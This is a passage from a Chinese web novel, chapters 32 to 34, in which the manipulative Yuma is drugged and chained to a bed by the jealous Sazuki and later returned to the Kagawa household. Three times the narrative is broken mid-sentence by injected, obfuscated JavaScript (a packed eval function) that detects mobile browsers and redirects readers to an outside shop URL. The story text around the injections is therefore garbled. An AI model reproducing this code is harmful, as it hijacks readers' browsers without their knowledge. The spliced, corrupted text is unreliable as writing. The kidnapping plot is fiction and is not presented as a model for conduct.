距离庆功宴已经过去半个月了,风波渐渐平息,仲代卓也的名声下降被曝出在接受精神治疗的新闻,还有笹原健一意外在香川家坠亡这两件事在不久前刚掀起轩然大波就被快速平息,明显是有一股背后的力量在压制。 佐直曾有意无意地在悠真面前提起过这些事情,悠真什么反应也没有,有一种过分不近人情的天真的残忍,不过这样也好,至少表明悠真对香川家已经没有半分留恋。 悠真在沙滩躺椅上看着打排球的男孩们,男孩们身姿矫健,身材一级棒,肌肤在阳光下透着蜜色,悠真正看得享受的时候,佐直那张脸又挡了过来。 “悠真,你在看什么?” 悠真毫不掩饰:“看好看的东西。” 佐直:“好看的东西?你是说好看的人吧,你的眼神一直跟着那群男生呢。” 悠真:“随便,你想怎么说都可以,让开一点。” 佐直的眼神暗了暗,片刻又换成了一种讨好的表情:“看我好了悠真,我的身材也不差。” 佐直的身材确实也不错,但悠真懒得看他。 “啊,以后有空再看你好了。”悠真抬了抬眼皮:“不过,同样都是棒球队的成员,你的身材好像比遥差很多,皮肤也像白斩鸡一样,你是偷懒了吗?” 青山悠真的质疑让佐直感到了恼怒,他解释着是因为基因的关系自己从小到大都是这样的肤色,并不存在什么偷懒的说法,之所以能进棒球队也都是靠自己的努力得来的。 佐直说了许多话之后发现悠真只是敷衍地回答他几声而已,悠真对他的话题不感兴趣,对他这个人也不敢兴趣,虽然青山悠真待在他的身边,但是……他不看他。 他对有关“佐直琉斗”这个人的一切,都漠不关心。 32.第 32 章 即便悠真不看他,佐直也没有办法把自己的目光从悠真身上移开。 海滩、阳光、草莓巴菲、闲适的度假生活……这些是悠真所享受的,他的表情好像很满意,同时又好像还不够满意,浑身上下散发着一种“你做的不错但是你还可以为我做的更好”的信号。 悠真知道佐直在看着自己,但是他毫不在意,一点伪装或者隐藏的心思都没有。看就好了,自己愿意给佐直看已经是对他莫大的恩赐了。 佐直弯了弯唇角:“悠真变得不太一样了呢。” 与其说是变了,倒不如说是想起来了那些被他丢掉的东西,身体处于某种防御机制把他那些异于常人的东西隐藏起来,让他变得像个普通人一样懦弱、胆小、羞怯,但青山悠真就是青山悠真,一旦他逐渐找回记忆里那个隐藏起来的自己,很多事情也都随之觉醒了。 从重新踏入高中获得记忆的那一天起,几乎每一天他都觉得自己身体中的一部分在发生着变化,那种感觉很美妙,就好像他……生来如此。 没错,他生来如此。 不过这些事情没有必要对佐直讲。 “有吗?”悠真戴上墨镜。 佐直反问:“难道不是吗?以前的悠真好像没有这么不喜欢讲话。” 也没有这么目中无人。但是佐直把这句话咽了下去。 悠真懒洋洋地说:“所以这都要怪你啊佐直,为什么和你在一起我就不爱讲话了?是不是你太无聊了?你得找找你自己身上的原因。” 佐直:“那么悠真觉得,我该怎么做呢?” 青山悠真又懒得搭理他了,他合起眼睛开始闭目休息,不打算再回答佐直任何一个字。 佐直琉斗觉得自己对悠真付出了有生以来最大的耐心,除了悠真以外没有人敢用这种态度对他。 “悠真。”他叫了声有悠真的名字。 悠真果然没有回答他。 佐直琉斗压下心中的怒意。 回到酒店房间,一打开门悠真就看见了铺满屋子的花瓣,还有放在正中央那一大捧过于夸张的玫瑰。 佐直琉斗正在房间里摆着晚餐用的餐具,看见悠真走进来脸上摆出一个笑颜。 “你回来了,这是为你准备的……” 惊喜两个字还没有说出口,悠真已经爆发出了一阵嘲笑声:“你可不要说这是给我准备的惊喜,怎么会想到用玫瑰这么艳俗的花啊,还铺了满屋,好臭……” 佐直琉斗脸上的表情僵住,他用心准备惊喜,悠真毫无感激也就算了,竟然还语出嘲讽,佐直用尽全身力气才克制住自己没有发火。 他缓缓走到悠真面前:“不要说这种让人伤心的话,悠真。” “什么啊,”悠真讥笑着看他:“你会伤心?我看你是别说这种肉麻的话才对。” “我当然也会伤心,其实……”其实在悠真面前,他和其他人没有什么分别。 佐直抬手想要触碰悠真的脑袋,悠真直接用手臂挡了回去,表现得异常厌恶。 这次轮到佐直琉斗冷笑了,他突然发现了自己的可笑之处:“你享受着从我这里获得的待遇却连一根头发丝也不想被我碰一下呢,青山悠真。话说我对你来说算是什么?男朋友肯定是算不上的,恐怕就连朋友也算不上吧,奇怪了,之前求我把你从那个救出来,现在又这样对我,你脑袋里究竟在想什么?” 悠真捂着鼻子,佐直说的他一个字也没有听进心里,只是不停地嚷嚷:“好臭,真的好臭,快点把房间清理干净,或者给我换个顶级套房,我真是一点也闻不下去了……” 佐直抓着自己的头发,感觉自己就快要被悠真逼疯,他低声自语:“我说的话你是一个字也不听啊,悠真,你的个性真的非常、非常、非常差劲……” 再抬起眼睛时,佐直重新挂上了一种过于腻人的微笑,悠真还沉浸在讨人厌的玫瑰花里,他的注意力从来就不在佐直身上,当然也无从发觉他的变化。 佐直轻巧踱步到悠真身边,放低姿态,用悠真最喜欢的那种被捧着的语气说:“我倒是知道有一个地方很适合你,没有这些讨厌的花、里面的所有用品都价格高昂精美、最重要的是,你想要什么东西,我都会双手奉上。” 世界上如果有这种东西那一定是陷阱,是伪装成甜蜜的陷阱。 可悠真过度自信,他觉得自己值得拥有这些好东西,完全没有什么好怀疑的。 “既然这样还不快带我过去?“青山悠真对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128857|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的信徒颐指气使。 佐直转动了下眼珠,像转动一个木偶的眼珠那样:“真的吗?你想去吗?” 青山悠真:“既然有那种好地方我为什么不去?难道那个地方不是你专门为我准备的吗?” “啊,当然当然,”佐直的脸上露出讨好的笑容:“当然,是专门为你准备的,不过距离倒是有点远,我们坐车过去的话……” “少罗嗦,”悠真瞪了眼佐直,这种表情让他的美丽变得更加凌厉,除了吸引人之外起不到任何震慑的作用,他反而还教训上人了:“佐直你的问题就是话太多。” 佐直一面说着抱歉,一面打电话联系司机,两人坐上车,而悠真根本不知道这辆车驶向哪里。 他也不觉得这有什么好问的,在悠真的世界里一切都是为了他服务,佐直也好,其他人也好,都应该为了讨他欢欣不择手段,而自己肯给他们一个眼神,已经是莫大的恩赐了,他们怎么还敢做其他小动作。 警惕心太低的后果就是,当他昏昏沉沉在车上睡去,过度舒适的环境让他不知道自己睡了多久。 悠真一觉醒来,天是暗的,他感觉到自己很渴很饿,也不清楚自己睡在哪里。 “佐直?”在黑暗中,悠真叫了一下佐直的名字。 “嗯。”黑暗里的佐直回答。 悠真问:“几点了?天怎么这么黑?” 佐直顿了一下:“下午两点。” “下午两点?”刚醒来,悠真的脑袋还没有那么清醒,他重复了一遍佐直的答案,疑惑地问:“为什么这里这么黑,你没有拉开窗帘吗?” “这里没有窗户。” 悠真撇了撇嘴:“那至少要开灯吧。“ 佐直轻轻笑了:“你确定要开灯吗,如果你想的话,那么……好的。” 明亮的灯光瞬间笼罩着整个房间,悠真一时感觉到刺眼微微眯了下眼睛,等适应之后,他慢慢将眼睛睁开。 他深陷于柔软的蚕丝被中,伸出手,手上戴着他之前随口说喜欢的蛇形手链。蛇身镶宝石,一颗一颗满钻排列,模仿着这种爬行动物本身的纹路,看起来就价值不菲。 悠真随手摸了一下,摸到了宝石本身和冰凉的金钱的气息。 33.第 33 章 价格昂贵的礼物让悠真的心情变得很不错,连带着对佐直也有了点好脸色。 “谢谢你,佐直,果然这条手链还是戴在我手上最好看,你肯定也这么觉得吧?” 佐直坐在对面的椅子上,神情阴郁,听到悠真的话之后他露出一个像是笑容的表情,但却很很难看,他缓缓抬起头,直勾勾地盯着悠真,与表情不符的是,说话的态度和语气却非常地温和,简直就不像是佐直琉斗的性格。 “是的,很配你呢,戴在你手上是最好看的,没有人能比得上。” 赞美的话语让悠真得意了那么一小会儿,但也就是一小会儿,他想到了什么,立刻说道:“我记得这个品牌好像还有同系列的其他珠宝,如果只能有这一件的话就太可惜,你知道的,我对这种亮晶晶的东西没有什么抵抗力。” 佐直平静地说:“好,我都会买过来的。” 佐直今天竟然这么好说话。 悠真对此十分欣赏,打算今天一天都给佐直好脸色,反正已经是下午两点了,几个小时他还是能坚持一下的。 他掀开被子准备下床:“我饿了,有什么东西吃吗,最好是……” 抓着被子的手停住,悠真皱了下眉头,他看向现在依旧坐在对面并且仍然在直勾勾看着他的佐直,提出了自己的疑惑。 “我的腿怎么……没有感觉了?还有……这条……钻石链子是怎么回事?” 悠真感觉不到自己双腿的存在,而且还有一条钻石链子将他的脚踝和床柱绑在一起。 佐直站起身,向他走过去:“不是很喜欢宝石吗?既然拥有了一条钻石手链,再拥有一条钻石脚链也很好。” 悠真思考了一下:“话虽如此,不过……你这条链子是哪个品牌的?我怎么从来没有见过?难道是私人定制的?话说你确定是真钻吧?我不能碰假珠宝,我会过敏的。” 佐直知道从悠真嘴里吐不出来什么恰当的话语,却没想到在现在这种情况下他的注意点竟然是珠宝的真假,真不愧是悠真。 他站在床边,被悠真的话逗笑了:“放心,都是真钻。” 悠真如释重负地吐出一口气,总算把重点放在了正确的地方:“先帮我解开吧,我的腿好像睡麻了,你帮我揉一揉吧,今天就允许你碰我的身体,不过仅限于揉腿,你应该很高兴吧?哎,真是拿你没办法。” 悠真斜觑着佐直,以为会在他脸上看到什么欣喜若狂的表情,自己都做了这么大的让步佐直就算感激涕零地跪下来也是可以理解的,但佐直什么也没做,站在床边,用那种无法用语言表述的目光盯着悠真。 佐直今天淡定地真是不像话。 “没有办法解开,你的腿也不是麻了。”佐直说。 悠真皱眉,刚才佐直的态度令他十分不满意,他现在粗声粗气地问:“这是什么意思?” 佐直弯下身,与悠真的高度差形成了一种压迫,悠真看他需得微微仰起头,这种感觉不是那么令人愉快。 “意思就是你得一辈子戴着这个了,悠真。” 佐直笑了:“为了让你一直待在我的视线范围内,不和讨厌的人接触,我费了好大的功夫。反正你也不喜欢走路,这双腿不用也可以,以后三餐我会亲自为你端来的,至于洗漱的话……我抱着你去怎么样?” 悠真听懂了,悠真气得浑身颤抖,他咬着牙仰起脖颈等着佐直,因为受到这种对待而愤怒:“你搞什么,混蛋,你竟敢这么对我,你是不是疯了,我劝你最好去看一下精神科,应该接受精神治疗的不是仲代卓也而是你吧,杂种佐直琉斗。” 佐直面无表情地听着他的咒骂:“这种时候你倒是叫我的名字了呢,果然我的方法是正确的。” 悠真破口大骂,而佐直毫无反应,甚至还给悠真端了精美的菜肴。 佐直:“你说累了吗?吃点菜吧,按照你的口味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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悠真揉了揉眼睛,弄清楚了情况,紧接着面色一变扑向香川律的怀抱,添油加醋歪曲事实地控诉着这段时间的遭遇:“律先生你总算来了呜呜呜呜……我一直在等着你,都是佐直琉斗!都是他把我从香川家绑架出来的!” 香川律听着悠真的控诉,感受着悠真身体的颤抖,手轻轻拍着他的背做安抚,脸上还是从容淡定的官方微笑:“我知道,悠真。不是跟你说过了吗,香川家是最安全的地方了。” 34.第 34 章 青山悠真大声地、激烈地控诉着佐直琉斗这段时间以来的暴行,当然他精妙地略过了一些地方。 他边说边看着香川律的表情,香川律安静地、耐心地听着他说这些话,一言不发。 悠真的声音越说越小,到后来他一头扎在香川律的胸前,仰着头看他:“还好你来了,律先生。” 这个姿势下,悠真的黑发向后拨去,露出他白皙艳丽的面孔。 香川律不戳穿他的谎言,他一只手捧住悠真的脸,手指缓慢蹭过眼睛下的黑色一点。 悠真不知道香川律为什么不说话,他直接问出了口:“律先生为什么一个字也不说?” 香川律收回手,笑了下,用温和的语气只说了很简短的话语:“回家吧。” 香川律拿来工具剪断了悠真脚上的链子,将悠真从床上抱起。手臂环绕着香川律的悠真默默揣测香川律的神态。 可是悠真现在已经逐渐丧失了与他人共情、体会他人想法的能力,他看了几秒钟就开始走神,心想—— 和香川律比起来佐直那种东西根本什么也算不上,还是香川律这样的人比较有趣一点,一个手握权力的成熟绅士最适合他,更何况他还情绪稳定、肩宽腰窄、脸蛋俊美什么的…… 悠真打了一个哈欠,自己找了个舒服的姿势,窝在香川律怀里睡着了。 听见悠真均匀又绵长的呼吸,香川律微微低下眼眸。睡着时候的悠真好像还和之前一样,是那个动不动就会受到惊吓的兔子,香川律将手臂收紧,将自己的怀抱变成一条绑的紧紧的绳索。 醒来之后悠真又回到了香川家,他躺在床上,手背上插着针正在输液,香川律就坐在床边。 悠真动了动眼睛,像从冬眠中苏醒的动物,还有点分不清此刻的情况:“我怎么了?” 香川律:“没什么,只是有点营养不良。” 营养不良?佐直那家伙果然是废物,竟然把他养成了营养不良,悠真在心里再次鄙视了一番佐直琉斗。完全忘记这段时间以来是他自己一直喜欢那些外表漂亮其实没什么营养的垃圾食品。 他随手把自己手背上的枕头拔了,在看到香川律略带讶异的表情时,悠真立马露出了一个笑容:“太疼了。” “嗯,”香川律微微笑了下,没有责怪他的擅作主张:“那下次吃些营养补充剂吧。对了,你的腿已经可以动了,佐直之前用的是麻药。” 温馨的氛围被闯进来的香川凛打破,香川凛满脸担心的冲到悠真的床边,身后还跟着一个有些不知所措的遥。 抓着悠真的肩膀,香川凛几乎要把他从头到脚都翻个遍:“悠真,你没事吧?听说你被佐直琉斗非法拘禁了,那家伙搞什么?遥,你是什么眼光?怎么会和那种人是朋友!” 香川遥面露难色,因为指责而不安:“佐直他……以前不是那样的,我也不知道他为什么会……” “这是什么意思,”香川凛转头怒视着遥:“难道你的意思是因为遇到悠真他才变坏了吗?” 就是,悠真撇了下嘴角,这种事情怎么能怪他? 遥:“我不是这个意思……” 香川凛:“你刚刚分明就是想帮他说话!” 啊……真是一场好戏呢。 看着面前的两人为自己争执不下,悠真感觉格外的有趣,差点就要笑出声,在他快笑出来的时候,他突然发现香川律正在盯着自己看,悠真抿起嘴巴,把笑容咽下去。 突然有点烦躁,这种不受自己吸引和控制的感觉是怎么回事?啊……香川家的人就是有这一点不好啊。 在凛和遥的说话声中,悠真伸出手轻轻扯了一下香川律的衣袖:“这几天你都会在这里陪我吗?” 这一句话,让凛和遥都沉默了下来,凛看着悠真抓着香川律的手指,一时间什么话都说不出来。 香川律看着他说道:“我尽量,悠真,我当然愿意一直陪着你,不过,我还有事要做,下午要出去一趟,我会很快回来,你待在这里就好。” 凛咳嗽了一声:“你不会是在害怕吧乌龟?放心啦,香川家这种地方不是什么阿猫阿狗能随便进来的,而且……我下午会留在家里陪你的……咳咳,我是说还有遥我们……” 悠真的目光移到凛隐隐泛红的脸上,凛这是把他当成了什么“被伤害之后留下心理阴影的小可怜”了,好搞笑,不过……把人叫“乌龟”这种习惯怎么还没有改啊,不知道这样做很让人讨厌吗。 悠真松开抓着香川律的手指,身体靠向了香川凛那边:“谢谢你哦,凛。”、 凛的脸色变得更红了,上看下看左右张望了一会儿,然后低下头,轻轻笑了。 午后香川律果然出门了,从楼上的窗户看着香川律的车越开越远,悠真面无表情地关上窗户,下楼邀请香川遥教自己游泳。 香川遥愣了一下,谦逊地表示凛游泳游得比他好,如果想要学游泳的话,请凛教应该会更好。 悠真笑得很甜:“可是听说运动都是相通的呢,遥的球打得好的话,游泳应该也不差吧,况且……我想和遥一起游呢,不可以吗?” 悠真在那么专注的看着他,因为和悠真结识得晚的关系,遥很清楚悠真之前是更习惯和律哥还有凛待在一起的。 悠真主动向他抛出橄榄枝的情况还是第一次,香川遥感到自己心跳的有些快,如果遵从内心的话……他果然还是没有办法拒绝。 “好的,悠真,我、我来教你。” 天气越来越热了,这种天气正适合游泳。悠真用一只手搭在泳池边,整个人泡在水中,看着遥在自己面前游了几趟。 香川遥游回悠真面前,问他现在是不是适应了,能在泳池里站稳了吗?得到悠真肯定的答案后,他才伸出手来:“抓稳我的手,尝试把身体浮起来。” 悠真看了眼伸到他面前的双手,抓紧了,试着让自己两脚悬空,可每次他一抬起脚身体就失去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192100|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平衡,只能将遥的手抓得更紧,几次下来他几乎缩到了遥的怀里。 他们离得太近了,香川遥可以清晰地看见悠真脸上的水珠,从他的发丝、睫毛、鼻梁上滑下,悠真好像是没有毛孔一样,皮肤细腻得像假人。 “遥,你干嘛一直看我?”悠真问。 这么简答的问题香川遥却无法正面回答,也许是怕说出的答案会让他自己不好意思。 香川遥窘迫地往后退了一步:“你……你不戴口罩和眼镜之后……看起来有点不太一样了……” “啊……你说那个……“悠真无所谓地耸了耸肩,又猛地靠近:”这样能看清脸不是更好吗?难道你觉得我长得不好看吗?” 香川遥更窘迫了,在他不知道该怎么办的时候,忽然听见泳池边传来凛气急败坏的声音:“你们在干嘛?” 突如其来的大声吓得遥松了手,他一抬眼就看见凛站在泳池边瞪着他们两人。 香川凛本来心情很好的,在满屋子找悠真都没有找到、结果发现悠真和遥在泳池里举止亲密之前……他的心情还是不错的。 可是现在,他没有办法保持平和了。 胸口有一团怒气,在灼烧着他,让他变得比往常更加尖酸刻薄。 “遥你没有事情做吗?趁着哥出去的时候就迫不及待向悠真示好了吗?平时你看起来蛮老实的,和悠真说不上几句话,现在好的能抱在一起了吗?” 香川遥迅速拉开了和悠真的距离:“不是这样的,凛你冷静一点。” 香川凛:“少摆出兄长的架子,你也比我大不了多少。” “是我请他教我游泳的。”悠真插进话来。 以防香川凛听不清楚似的,他又重复了一遍:“我请遥来教我游泳,他一开始不想答应的,是我,勉强他的。” 凛的面色一变,看着悠真在自己的视线里慢慢移到岸边,抬起湿漉漉的没有温度的眼眸:“毕竟……我想没有人喜欢别人一直对着自己叫‘乌龟’。” 凛发现自己无话可说,一直以来叫悠真乌龟的确是他做出的事情,但是……悠真不是说过他喜欢那个乌龟玩偶吗,难道悠真其实一直都觉得很反感吗…… 香川凛张开嘴巴,欲言又止,但无论怎样,悠真和遥在一起的画面都很刺眼,他弯腰想要抓住悠真的胳膊将对方拉起来,可悠真竟然躲开了。 就在他再次要发作的时候,香川律慢慢走近:“你们都在这里啊,我说怎么房间里都找不到人。” 他简单扫视了一下眼前的场景,笑着说:“凛、遥,能麻烦你们回避一下吗?我有事情要和悠真说。” 他中止了这场纠纷。 悠真泡在水中,看着香川律慢慢蹲下身,向他伸出手:“要起来吗,悠真?” 悠真拉着他的手爬上岸,香川律拿毛巾擦着他身上的水,从喉咙里发出闷笑。 “凛和遥,你现在好像是把他们当调味剂了呢,悠真。”